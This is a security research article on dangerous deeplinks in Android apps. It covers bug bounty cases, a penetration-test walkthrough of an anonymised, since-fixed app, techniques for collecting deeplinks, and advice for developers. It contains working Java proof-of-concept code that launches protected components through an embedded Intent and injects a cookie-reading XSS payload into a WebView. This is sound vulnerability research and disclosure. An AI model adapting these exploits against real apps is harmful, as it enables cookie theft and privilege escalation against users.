Understanding Dangerous Deeplinks in Android Applications

This article is contributed by 【heeeeen】 from OPPO’s Meridian Internet Security Lab. We welcome contributions from friends, for details click on OSRC for a generous call for papers!
Friendly reminder: Friends who wish to contribute are advised to use markdown format, especially for articles containing a lot of code.

Understanding Dangerous Deeplinks in Android Applications

0x01 Introduction to Deeplinks

Deeplink is a hyperlink that launches an app from a webpage. When a user clicks on a deeplink, the Android system starts the application registered for that deeplink, opening the activity registered in the Manifest file for that deeplink.
For example, according to the Manifest file, both example://gizmos and http://www.example.com/gizmos can be used to launch GizmosActivity.
<activity        android:name="com.example.android.GizmosActivity"        android:label="@string/title_gizmos">        <intent-filter android:label="@string/filter_view_http_gizmos">            <action android:name="android.intent.action.VIEW" />            <category android:name="android.intent.category.DEFAULT" />            <category android:name="android.intent.category.BROWSABLE" />            <!-- Accepts URIs that begin with "http://www.example.com/gizmos” -->            <data android:scheme="http"                  android:host="www.example.com"                  android:pathPrefix="/gizmos" />            <!-- note that the leading "/" is required for pathPrefix-->        </intent-filter>        <intent-filter android:label="@string/filter_view_example_gizmos">            <action android:name="android.intent.action.VIEW" />            <category android:name="android.intent.category.DEFAULT" />            <category android:name="android.intent.category.BROWSABLE" />            <!-- Accepts URIs that begin with "example://gizmos” -->            <data android:scheme="example"                  android:host="gizmos" />        </intent-filter>    </activity>
For deeplinks, you can open the registered deeplink activity using adb shell am start -a android.intent.action.VIEW -d <deeplink> for convenient local environment testing.
Since deeplinks inherently have remote characteristics, they can start an activity with just one click from the user. If this process causes security issues, it represents a 1-click remote vulnerability; therefore, deeplinks are the most common remote attack surface for apps.

0x02 Security Issues with Deeplinks

There is a special type of deeplink based on the intent:// scheme that has been associated with security vulnerabilities in various browsers, which are discussed in articles [1], [2]; their security issues are not the focus of this article. This article primarily discusses the security issues introduced by app-customized scheme deeplinks.
1. Manipulating WebView through Deeplinks
In deeplink vulnerabilities, opening the app’s WebView to access attacker-controlled links carrying tokens can even lead to file theft or calling privileged interfaces, which is quite common. For example:
  • Facebook App [3]

This is a $8500 Facebook app vulnerability. White hats organized, filtered, and automated testing of numerous fb:// deeplinks in the Facebook App and found 3 deeplinks that could open the WebView component to access a specified URL, and this URL supports file:// and can open local files. Although no method for automatically stealing files was provided, Facebook generously rewarded this vulnerability.
  • Grab App [4]

Bagipro discovered that by using deeplink grab://open?screenType=HELPCENTER&page=<evil-site>, it could open the Grab app’s WebView and access attacker-controlled URLs, allowing JS to call privileged interfaces to steal users’ sensitive information.
Additionally, a previously disclosed application cloning vulnerability by Xuanwu Lab was also opened by deeplinks to the WebView, exploiting improper WebView configurations to steal all files in the app’s private directory to achieve application cloning. This type of deeplink requires close attention to parameters such as url, extra_url, page, link, etc., to check if they can be set to open webview with any domain.
2. Constructing CSRF through Deeplinks
For the Twitter’s Periscope Android App, if a user clicks on pscp://user/<user-id> or pscpd://user/<user-id>, it can bypass the confirmation dialog and directly follow the specified user-id [5]. However, clicking on www.pscp.tv/<user-id>/follow requires a confirmation dialog to pop up.
3. Bypassing App Lock through Deeplinks
The Shopify App has a fingerprint-based app lock feature; however, it can be bypassed by clicking the deeplink https://www.shopify.com/admin/products, allowing unrestricted use of the app’s features [6].
Additionally, there is a case shared by sambal0x, where a condition race was constructed through a deeplink to bypass the app lock [7].
4. Opening App Protection Components through Deeplinks
Here, I share a deeplink vulnerability case from a penetration test of a certain app (the vulnerability has been fixed, but the app name is hidden and replaced with victim-app). Similar to the Facebook app, this app contains numerous (>200) deeplinks scattered in Java code and JS files in the asset directory. By filtering and fuzzing these deeplinks, multiple security issues were discovered, including:
(1) Several deeplinks control WebView URL redirection to specified websites, which can only be used for phishing;
(2) Two deeplinks can open ReactNativeWebView and support file://;
(3) One deeplink can open WebView and carry important oauth_token leaking to a link specified by the attacker;
(4) Two deeplinks can start app debugging and stop app debugging, creating profile files in unsafe external storage.
Among these security issues, the most interesting is that it can open the app’s protection component through a deeplink. The root cause of the vulnerability is that Intent extras can be passed to non-exported Activities in the app via deeplinks as parameters, thus exposing a large attack surface. By testing all deeplinks using adb shell am start -a android.intent.action.VIEW -d <deeplink> while monitoring adb logcat -s ActivityManager, I found two issues that opened the app’s protection components:
  • Open any activity through a deeplink

By testing victim-app://c/identitychina, I found that after complex Intent passing, it could ultimately open IdentityChinaActivity.
As shown in the code, globalIdentityFlowIntent can be passed as a Parcelable object with the deeplink’s Intent extras, which is controllable by the attacker. This embedded Intent will eventually be passed to startActivityForResult, causing a launchAnyWhere vulnerability, where attackers can point globalIdentityFlowIntent to non-exported Activities or construct privileged operations held by the app to achieve privilege escalation or steal sensitive information.
protected void onActivityResult(int arg3, int arg4, Intent arg5) {        super.onActivityResult(arg3, arg4, arg5);        int v0 = 100;        if(arg3 == 1 &amp;&amp; arg5 != null) {            String v3 = arg5.getStringExtra("country_code");            IdentityChinaAnalyticsV2.d(v3);            if(this.o != null) {                AccountVerificationActivityIntents.a(v3);                this.startActivityForResult(this.o, v0);  //this.o is an attacker controlled Intent            }        }        else if(arg3 == v0) {            arg3 = -1;            if(arg4 == arg3) {                this.setResult(arg3);                this.finish();            }        }    }    protected void onCreate(Bundle arg2) {        super.onCreate(arg2);        this.setContentView(layout.activity_simple_fragment);        ButterKnife.a(((Activity)this));        if(arg2 == null) {            this.c(true);            new ChinaVerificationsRequest().a(this.n).execute(this.I);        }        Intent v2 = this.getIntent();        if(v2.getParcelableExtra("globalIdentityFlowIntent") != null) {          this.o = v2.getParcelableExtra("globalIdentityFlowIntent"); //Attacker controlled Intent        }    }
A vulnerability exploit can be achieved through the following POC:
Intent intent = new Intent(Intent.ACTION_VIEW);intent.setData(Uri.parse("victim-app://c/identitychina"));Intent payload = new Intent();payload.setComponent(new ComponentName("<victim app package name>",                        "<victim app protected component name>"));intent.putExtra("globalIdentityFlowIntent", payload);startActivity(intent);
  • Open any fragment through a deeplink

Testing the deeplink victim-app://c/contact/2?fragmen_class=AAAA triggered a crash as follows:
$ adb shell am start -a android.intent.action.VIEW "victim-app://c/contact/2?fragmen_class=AAAA"03-06 08:43:37.019 27066 27066 E AndroidRuntime: Process: com.victim-app.android, PID: 2706603-06 08:43:37.019 27066 27066 E AndroidRuntime: java.lang.RuntimeException: Unable to start activity ComponentInfo{com.victim-app.android/com.victim-app.android.core.activities.ModalActivity}: android.support.v4.app.Fragment$InstantiationException: Unable to instantiate fragment AAAA: make sure class name exists, is public, and has an empty constructor that is public......(skip)03-06 08:43:37.019 27066 27066 E AndroidRuntime: Caused by: java.lang.ClassNotFoundException: Didn't find class "AAAA" on path: DexPathList[[zip file "/data/app/com.victim-app.android-88DWiVjEAeeamfvTk2khAA==/base.apk"],nativeLibraryDirectories=[/data/app/com.victim-app.android-88DWiVjEAeeamfvTk2khAA==/lib/arm, /data/app/com.victim-app.android-88DWiVjEAeeamfvTk2khAA==/base.apk!/lib/armeabi-v7a, /system/lib, /vendor/lib]]

Upon careful analysis, the crash was due to the deeplink ultimately opening ModalActivity, which could not instantiate a fragment class named AAAA. If a fragment that already exists in the victim-app is passed in the deeplink’s fragment_class parameter, it can be launched through ModalActivity. In this parameter, I attempted to pass all existing Fragment Classes; some could successfully launch, while others crashed due to incomplete parameters, but it took some effort to determine the security implications.

Ultimately, I found a GoogleWebViewMapFragment that had the opportunity to execute loadDataWithBaseURL and load HTML/JS through WebView.

public View a(LayoutInflater arg7, ViewGroup arg8, Bundle arg9) {        View v7 = arg7.inflate(layout.fragment_webview, arg8, false);        this.a = v7.findViewById(id.webview);        this.d = v7;        WebSettings v8 = this.a.getSettings();        v8.setSupportZoom(true);        v8.setBuiltInZoomControls(false);        v8.setJavaScriptEnabled(true);        v8.setGeolocationEnabled(true);        v8.setAllowFileAccess(false);        v8.setAllowContentAccess(false);        this.a.setWebChromeClient(new GeoWebChromeClient(this));        VicMapType v8_1 = VicMapType.b(this.o());        this.a.loadDataWithBaseURL(v8_1.c(), v8_1.a(this.w()), "text/html", "base64", null); //noice!!!        this.a.addJavascriptInterface(new MapsJavaScriptInterface(this, null), "VicMapView");        return v7;    }
The first parameter v8_1.c() is the baseUrl, and the second parameter v8_1.a(this.w()) is data. If both parameters can be controlled via the deeplink, the WebView can load any HTML/JS at any baseUrl.
The first parameter v8_1.c() is returned by the c() method, and this parameter’s return value this.c will be placed in a certain Bundle’s map_domain. Additionally, I found this.b as the map_url in the Bundle, and this.a as the map_file_name in the Bundle.
The second parameter v8_1.a(this.w()) calls VicMapUtils.a method and calls this.b method to replace the MAPURL string in the file.
public VicMapType(String arg1, String arg2, String arg3) {        super();        this.a = arg1;        this.b = arg2;        this.c = arg3;    }    public String a(Resources arg3) {        return VicMapUtils.a(arg3, this.a).replace("MAPURL", this.b).replace("LANGTOKEN", Locale.getDefault().getLanguage()).replace("REGIONTOKEN", Locale.getDefault().getCountry());    }    public Bundle a(Bundle arg3) {        arg3.putString("map_domain", this.c()); // this.c is put in map_domain        arg3.putString("map_url", this.b()); // this.b is put in map_url         arg3.putString("map_file_name", this.a()); // this.a is put in map_file_name        return arg3;    }    String a() {        return this.a;    }    public static VicMapType b(Bundle arg5) {        return new VicMapType(arg5.getString("map_file_name", ""), arg5.getString("map_url", ""), arg5.getString("map_domain", ""));    }    String b() {        return this.b;    }    String c() {  // v8_1.c()        return this.c;    }
At this point, I checked the asset directory in the APK and found some HTML files.
$ ls -l *.html-rwxr-xr-x  1 heeeeen  h4cker   8290  3  6 08:28 google_map.html-rwxr-xr-x  1 heeeeen  h4cker  15024  3  6 08:28 leaflet_map.html-rwxr-xr-x  1 heeeeen  h4cker   5546  3  6 08:28 mapbox.html
At the same time, I found the MAPURL string in google_map.html.
<!DOCTYPE html><html><head>    <meta name="viewport" content="initial-scale=1.0, user-scalable=no">    <meta charset="utf-8">    <style>        html, body, #map-canvas {        height: 100%;        margin: 0px;        padding: 0px        }</style>    <script src="MAPURL?v=3.exp&amp;sensor=false&amp;language=LANGTOKEN&amp;region=REGIONTOKEN"></script>    <script src="file:///android_asset/geolocate_user.js" type="text/javascript"></script>    <script>var map;var infoWindow = null;var markers = {};var infoWindowContent = {};var polylines = {};
The clues for exploiting the vulnerability began to become clear; if the MAPURL string can be controlled, an XSS can be constructed.
Next, let’s look at the construction of the involved Bundle. This Bundle is actually the parameters for launching the Fragment, and experiments have shown that this Bundle parameter can be passed along with the deeplink’s Intent extras.
public Bundle a(Bundle arg3) {        arg3.putString("map_domain", this.c()); // this.c is put in map_domain        arg3.putString("map_url", this.b()); // this.b is put in map_url         arg3.putString("map_file_name", this.a()); // this.a is put in map_file_name        return arg3;    }
Therefore, map_domain, as the first parameter for loadDataWithBaseURL, needs to pass in the domain where we want to execute JS, which is the login domain used by the app: http://www.vicitim-app.com; map_url, as the second parameter for loadDataWithBaseURL, needs to pass in the attack payload; and map_file_name needs to point to the filename google_map.html, so that the WebView will load this injected attack payload HTML file.
Thus, a vulnerability can be achieved by opening any fragment through this deeplink, allowing controlled execution of any JS, resulting in the theft of the logged-in user’s cookie!
POC as follows:
Intent payload = new Intent(Intent.ACTION_VIEW); payload.setData(Uri.parse("victim-app://c/contact/2?fragmen_class=com.victim.app.GoogleWebViewMapFragment")); Bundle extra = new Bundle(); extra.putString("map_url", ""></script><script>alert(document.cookie);</script><script>"); extra.putString("map_file_name", "google_map.html"); extra.putString("map_domain", "https://www.victim-app.com"); payload.putExtra("bundle", extra); startActivity(payload);

0x03 Collection of Deeplinks

Since deeplinks expose a large attack surface and are prone to remote vulnerabilities, collecting deeplinks has become a key part of vulnerability mining. First, parse the android:scheme and android:host in the Manifest file to extract the deeplink’s protocol://hostname, and then five methods can be employed:
  • Local Search: Filter custom deeplink URL schemes from the Manifest file and then use regex to match and extract as complete deeplink URIs as possible in local reverse code. Be careful not to miss any files. Experience shows that deeplinks may appear in the app’s Java code, resource files in the Asset directory/js, and may even be found in so files;

  • Traffic Monitoring: Capture traffic from the app using HTTP capture tools or implementing a Burp plugin to monitor deeplinks in the traffic, attempting to click through various scenarios in the app to regex match complete deeplinks from request and response packets;

  • IPC Monitoring: Dynamically monitor IPC communications for deeplinks through hooking, extracting the data from Intents. You can use Burp plugin brida, or even integrate with traffic monitoring;

  • Remote Crawling: Crawl the web pages of the app’s web end to filter out deeplinks. However, I have not practiced this method, but have occasionally found it in web source codes.

  • Based on Deeplink Features: If the app uses some routing distribution SDKs, these SDKs have specific rules, so we can use regex to parse these rules to obtain complete deeplinks. For example, with Ali’s arouter, we can extract the path after build Route as the deeplink URI’s path. Extract the name after build Autowired as the parameters in the deeplink. Then concatenate this with the content obtained in step one to obtain a complete deeplink.

However, the deeplinks collected according to the above ideas may still be incomplete, making it difficult to obtain complete parameters. From the white hat’s perspective, collecting deeplinks remains the greatest challenge in mining deeplink vulnerabilities.

0x04 Suggestions for Developers

Developers should particularly focus on WebView security issues related to deeplinks, as this type of vulnerability accounts for the largest proportion of deeplink security issues. Care should be taken with parameters like url, extra_url, page, link, redirect, etc., to check if these parameters can be modified to make WebView access arbitrary domains. If this is a business design, it is recommended to give users an external domain jump prompt, and prohibit WebView from accessing file://, prohibit loadUrl from accessing external domains with important authentication tokens, and carefully check the domain whitelist verification for sensitive javascriptInterface or JsBridge interfaces in WebView.

Additionally, since deeplinks cannot verify source, they should not be designed to trigger sensitive operations that impact security, such as:

  • Sending data packets carrying authentication tokens

  • Opening protected components

  • Bypassing app locks

  • Making external calls without user interaction

  • Silently installing applications

……

It is recommended that app developers using deeplinks provide all deeplink lists and design documents to internal security teams for security testing, which can help discover security issues introduced by deeplinks earlier and more comprehensively than external attackers.

References
[1] http://www.mbsd.jp/Whitepaper/IntentScheme.pdf
[2]https://wooyun.js.org/drops/Intent%20scheme%20URL%20attack.html
[3][Breaking The Facebook For Android Application](https://ash-king.co.uk/facebook-bug-bounty-09-18.html)
[4][Insecure deeplink leads to sensitive information disclosure](https://hackerone.com/reports/401793)
[5]https://hackerone.com/reports/583987
[6]https://hackerone.com/reports/637194
[7]https://blog.sambal0x.com/2019/10/18/Passcodeactivityraceconditionbypass.html

Understanding Dangerous Deeplinks in Android Applications

Leave a Comment